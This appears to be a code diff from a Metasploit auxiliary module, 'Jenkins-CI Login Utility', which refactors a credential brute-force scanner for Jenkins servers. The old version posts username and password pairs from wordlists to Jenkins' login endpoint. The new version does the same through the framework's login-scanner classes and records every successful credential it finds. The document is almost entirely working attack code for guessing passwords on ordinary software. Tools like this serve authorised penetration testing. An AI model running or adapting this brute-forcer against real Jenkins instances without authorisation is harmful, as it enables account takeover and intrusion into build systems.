4
4
##
5
5
require 'pry'
6
6
require 'msf/core'
7
+ require 'metasploit/framework/credential_collection'
8
+ require 'metasploit/framework/login_scanner/jenkins'
7
9
8
10
class Metasploit3 < Msf ::Auxiliary
9
-
11
+
12
+ include Msf ::Auxiliary ::Scanner
10
13
include Msf ::Exploit ::Remote ::HttpClient
11
14
include Msf ::Auxiliary ::Report
12
15
include Msf ::Auxiliary ::AuthBrute
13
- include Msf ::Auxiliary ::Scanner
14
-
16
+
15
17
def initialize
16
18
super (
17
19
'Name' => 'Jenkins-CI Login Utility' ,
@@ -22,59 +24,52 @@ def initialize
22
24
23
25
register_options (
24
26
[
25
- Opt ::RPORT ( 8080 ) ,
26
- OptAddress . new ( 'RHOST' , [ true , "The target address" , true ] )
27
+ Opt ::RPORT ( 8080 )
27
28
] , self . class )
28
29
29
30
register_autofilter_ports ( [ 80 , 443 , 8080 , 8081 , 8000 ] )
30
- deregister_options ( 'RHOSTS' )
31
31
end
32
32
33
- def run
34
- each_user_pass do |user , pass |
35
- next if ( user . blank? or pass . blank? )
36
- vprint_status ( "Trying #{ user } : #{ pass } " )
37
- if ( datastore [ 'SSL' ] . to_s . match ( /^(t|y|1)/i ) )
38
- protocol = 'https://'
33
+ def run_host ( ip )
34
+ cred_collection = Metasploit ::Framework ::CredentialCollection . new (
35
+ blank_passwords : datastore [ 'BLANK_PASSWORDS' ] ,
36
+ pass_file : datastore [ 'PASS_FILE' ] ,
37
+ password : datastore [ 'PASSWORD' ] ,
38
+ user_file : datastore [ 'USER_FILE' ] ,
39
+ userpass_file : datastore [ 'USERPASS_FILE' ] ,
40
+ username : datastore [ 'USERNAME' ] ,
41
+ user_as_pass : datastore [ 'USER_AS_PASS' ] ,
42
+ )
43
+
44
+ scanner = Metasploit ::Framework ::LoginScanner ::Jenkins . new (
45
+ host : ip ,
46
+ port : rport ,
47
+ proxies : datastore [ 'PROXIES' ] ,
48
+ cred_details : cred_collection ,
49
+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
50
+ connection_timeout : 10 ,
51
+ user_agent : datastore [ 'UserAgent' ] ,
52
+ vhost : datastore [ 'VHOST' ]
53
+ )
54
+
55
+ scanner . scan! do |result |
56
+ credential_data = result . to_h
57
+ credential_data . merge! (
58
+ module_fullname : self . fullname ,
59
+ workspace_id : myworkspace_id
60
+ )
61
+ if result . success?
62
+ credential_core = create_credential ( credential_data )
63
+ credential_data [ :core ] = credential_core
64
+ create_credential_login ( credential_data )
65
+
66
+ print_good "#{ ip } :#{ rport } - LOGIN SUCCESSFUL: #{ result . credential } "
39
67
else
40
- protocol = 'http://'
41
- do_login ( user , pass )
68
+ invalidate_login ( credential_data )
69
+ print_status " #{ ip } : #{ rport } - LOGIN FAILED: #{ result . credential } ( #{ result . status } : #{ result . proof } )"
42
70
end
43
71
end
44
- end
45
72
46
- def do_login ( user , pass )
47
- begin
48
- post_data = {
49
- 'j_username' => user ,
50
- 'j_password' => pass
51
- }
52
- res = send_request_cgi ( {
53
- 'uri' => '/j_acegi_security_check' ,
54
- 'method' => 'POST' ,
55
- 'vars_post' => post_data
56
- } )
57
- rescue ::Rex ::ConnectionError => e
58
- vprint_error ( "#{ rhost } :#{ rport } #{ url } - #{ e } " )
59
- return
60
- end
61
- if not res
62
- vprint_error ( "#{ rhost } :#{ rport } #{ url } - #{ e } " )
63
- return
64
- end
65
- if !res . headers [ 'location' ] . include? 'loginError'
66
- print_good ( "SUCCESSFUL LOGIN. '#{ user } : #{ pass } '" )
67
- report_hash = {
68
- :host => datastore [ 'RHOST' ] ,
69
- :port => datastore [ 'RPORT' ] ,
70
- :sname => 'jenkins' ,
71
- :user => user ,
72
- :pass => pass ,
73
- :active => true ,
74
- :type => 'password'
75
- }
76
- report_auth_info ( report_hash )
77
- return :next_user
78
- end
79
73
end
74
+
80
75
end
0 commit comments